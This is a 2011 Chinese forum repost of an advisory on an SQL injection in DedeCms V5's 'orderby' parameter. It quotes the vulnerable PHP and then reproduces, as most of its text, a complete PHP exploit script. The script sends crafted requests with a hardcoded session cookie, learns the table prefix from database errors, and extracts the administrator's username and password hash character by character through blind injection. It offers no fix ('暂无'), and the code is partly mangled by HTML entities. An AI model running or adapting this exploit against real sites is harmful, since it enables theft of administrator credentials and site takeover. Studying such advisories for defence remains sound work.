琅琊微声 發表於 2011-3-11 12:11:22

DedeCms V5 orderby参数注射漏洞

<p>  影响版本:</p> <p>  DedeCms V5漏洞描述:</p> <p>  DedeCms由2004年到现在,已经经历了五个版本,从DedeCms V2 开始,DedeCms开发了自己的模板引擎,使用XML名字空间风格的模板,对美工制作的直观性提供了极大的便利,从V2.1开始,DedeCms人气急却上升,成为国内最流行的CMS软件,在DedeCms V3版本中,开始引入了模型的概念,从而摆脱里传统网站内容管理对模块太分散,管理不集中的缺点,但随着时间的发展,发现纯粹用模型化并不能满足用户的需求,从而DedeCms 2007(DedeCms V5)应声而出.80sec在其产品中发现了多个严重的SQL注射漏洞,可能被恶意用户查询数据库的敏感信息,如管理员密码,加密key等等,从而控制整个网站。</p> <p>  在joblist.php和guestbook_admin.php等文件中对orderby参数未做过滤即带入数据库查询,造成多个注射漏洞。漏洞部分代码如下</p> <p>  -------------------------------------------------------</p> <p>  if(empty($orderby)) $orderby = 'pubdate';</p> <p>  //重载列表</p> <p>  if($dopost=='getlist'){</p> <p>  PrintAjaxHead();</p> <p>  GetList($dsql,$pageno,$pagesize,$orderby);//调用GetList函数</p> <p>  $dsql-&gt;Close();</p> <p>  exit();</p> <p>  &hellip;&hellip;</p> <p>  function GetList($dsql,$pageno,$pagesize,$orderby='pubdate'){</p> <p>  global $cfg_phpurl,$cfg_ml;</p> <p>  $jobs = array();</p> <p>  $start = ($pageno-1) * $pagesize;</p> <p>  $dsql-&gt;SetQuery(&quot;Select * From sec_jobs where memberID='&quot;.$cfg_ml-&gt;M_ID.&quot;' order by $orderby desc limit $start,$pagesize &quot;);</p> <p>  $dsql-&gt;Execute();//orderby 带入数据库查询</p> <p>  &hellip;&hellip;</p> <p>  ----------------------------------------------------------</p> <p>  &lt;*参考</p> <p>  http://www.80sec.com/dedecms-sql-injection.html</p> <p>  *&gt;</p> <p>  测试方法:</p> <p>  </p> <p>  本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!</p> <p>  print_r('</p> <p>  --------------------------------------------------------------------------------</p> <p>  DedeCms &gt;=5 &quot;orderby&quot; blind SQL injection/admin credentials disclosure exploit</p> <p>  BY Flyh4t</p> <p>  www.wolvez.org</p> <p>  Thx for all the members of W.S.T and my friend Oldjun</p> <p>  --------------------------------------------------------------------------------</p> <p>  ');</p> <p>  if ($argc&lt;3) {</p> <p>  print_r('</p> <p>  --------------------------------------------------------------------------------</p> <p>  Usage: php '.$argv.&rsquo; host path</p> <p>  host: target server (ip/hostname)</p> <p>  path: path to DEDEcms</p> <p>  Example:</p> <p>  php &lsquo;.$argv.&rsquo; localhost /</p> <p>  &mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;</p> <p>  &lsquo;);</p> <p>  die;</p> <p>  }</p> <p>  function sendpacketii($packet)</p> <p>  {</p> <p>  global $host, $html;</p> <p>  $ock=fsockopen(gethostbyname($host),&rsquo;80&prime;);</p> <p>  if (!$ock) {</p> <p>  echo &lsquo;No response from &lsquo;.$host; die;</p> <p>  }</p> <p>  fputs($ock,$packet);</p> <p>  $html=&rdquo;;</p> <p>  while (!feof($ock)) {</p> <p>  $html.=fgets($ock);</p> <p>  }</p> <p>  fclose($ock);</p> <p>  }</p> <p>  $host=$argv;</p> <p>  $path=$argv;</p> <p>  $prefix=&rdquo;dede_&rdquo;;</p> <p>  $cookie=&rdquo;DedeUserID=39255; DedeUserIDckMd5=31283748c5a4b36c; DedeLoginTime=1218471600; DedeLoginTimeckMd5=a7d9577b3b4820fa&rdquo;;</p> <p>  if (($path&lt;&gt;&rsquo;/') or ($path&lt;&gt;&rsquo;/'))</p> <p>  {echo &lsquo;Error&hellip; check the path!&rsquo;; die;}</p> <p>  /*get $prefix*/</p> <p>  $packet =&rdquo;GET &ldquo;.$path.&rdquo;/member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;orderby=11&prime; HTTP/1.0rn&rdquo;;</p> <p>  $packet.=&rdquo;Host: &ldquo;.$host.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Cookie: &ldquo;.$cookie.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Connection: Closernrn&rdquo;;</p> <p>  sendpacketii($packet);</p> <p>  if (eregi(&rdquo;in your SQL syntax&rdquo;,$html))</p> <p>  {</p> <p>  $temp=explode(&rdquo;From &ldquo;,$html);</p> <p>  $temp2=explode(&rdquo;member&rdquo;,$temp);</p> <p>  if($temp2)</p> <p>  $prefix=$temp2;</p> <p>  echo &ldquo;[+]prefix -&gt; &ldquo;.$prefix.&rdquo;n&rdquo;;</p> <p>  }</p> <p>  $chars=0;//null</p> <p>  $chars=array_merge($chars,range(48,57)); //numbers</p> <p>  $chars=array_merge($chars,range(97,102));//a-f letters</p> <p>  echo &ldquo;[~]exploting now,plz waitingrn&rdquo;;</p> <p>  /*get password*/</p> <p>  $j=1;$password=&rdquo;&quot;;</p> <p>  while (!strstr($password,chr(0)))</p> <p>  {</p> <p>  for ($i=0; $i&lt;=255; $i++)</p> <p>  {</p> <p>  if (in_array($i,$chars))</p> <p>  {</p> <p>  $sql=&rdquo;orderby=11+and+If(ASCII(SUBSTRING((SELECT+pwd+FROM+&rdquo;.$prefix.&rdquo;admin+where+id=1),&rdquo;.$j.&rdquo;,1))=&rdquo;.$i.&rdquo;,1,(SELECT+pwd+FROM+&rdquo;.$prefix.&rdquo;member))&rdquo;;</p> <p>  $packet =&rdquo;GET &ldquo;.$path.&rdquo;member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;&rdquo;.$sql.&rdquo; HTTP/1.0rn&rdquo;;</p> <p>  $packet.=&rdquo;Host: &ldquo;.$host.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Cookie: &ldquo;.$cookie.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Connection: Closernrn&rdquo;;</p> <p>  sendpacketii($packet);</p> <p>  if (!eregi(&rdquo;Subquery returns more than 1 row&rdquo;,$html)) {$password.=chr($i);echo&rdquo;[+]pwd:&rdquo;.$password.&rdquo;rn&rdquo;;break;}</p> <p>  }</p> <p>  if ($i==255) {die(&rdquo;Exploit failed&hellip;&rdquo;);}</p> <p>  }</p> <p>  $j++;</p> <p>  }</p> <p>  /*get userid*/</p> <p>  $j=1;$admin=&rdquo;&quot;;</p> <p>  while (!strstr($admin,chr(0)))</p> <p>  {</p> <p>  for ($i=0; $i&lt;=255; $i++)</p> <p>  {</p> <p>  $sql=&rdquo;orderby=11+and+If(ASCII(SUBSTRING((SELECT+userid+FROM+&rdquo;.$prefix.&rdquo;admin+where+id=1),&rdquo;.$j.&rdquo;,1))=&rdquo;.$i.&rdquo;,1,(SELECT+pwd+FROM+&rdquo;.$prefix.&rdquo;member))&rdquo;;</p> <p>  $packet =&rdquo;GET &ldquo;.$path.&rdquo;member/guestbook_admin.php?dopost=getlist&amp;pageno=1&amp;&rdquo;.$sql.&rdquo; HTTP/1.0rn&rdquo;;</p> <p>  $packet.=&rdquo;Host: &ldquo;.$host.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Cookie: &ldquo;.$cookie.&rdquo;rn&rdquo;;</p> <p>  $packet.=&rdquo;Connection: Closernrn&rdquo;;</p> <p>  sendpacketii($packet);</p> <p>  if (!eregi(&rdquo;Subquery returns more than 1 row&rdquo;,$html)) {$admin.=chr($i);echo&rdquo;[+]userid:&rdquo;.$admin.&rdquo;rn&rdquo;;break;}</p> <p>  if ($i==255) {die(&rdquo;Exploit failed&hellip;&rdquo;);}</p> <p>  }</p> <p>  $j++;</p> <p>  }</p> <p>  print_r(&rsquo;</p> <p>  &mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;</p> <p>  [+]userid -&gt; &lsquo;.$admin.&rsquo;</p> <p>  [+]pwd(md5 24位) -&gt; &lsquo;.$password.&rsquo;</p> <p>  &mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;</p> <p>  &lsquo;);</p> <p>  function is_hash($hash)</p> <p>  {</p> <p>  if (ereg(&rdquo;^{24}&rdquo;,trim($hash))) {return true;}</p> <p>  else {return false;}</p> <p>  }</p> <p>  if (is_hash($password)) {echo &ldquo;Exploit succeeded&hellip;&rdquo;;}</p> <p>  else {echo &ldquo;Exploit failed&hellip;&rdquo;;}</p> <p>  ?&gt;爱安全建议:</p> <p>  暂无</p> <p>  http://www.dedecms.com// aianquan.com </p> <p>&nbsp;</p> <p>(本文由责任编辑 pasu&nbsp; 整理发布)</p> <p>&nbsp;</p>
頁: [1]
查看完整版本: DedeCms V5 orderby参数注射漏洞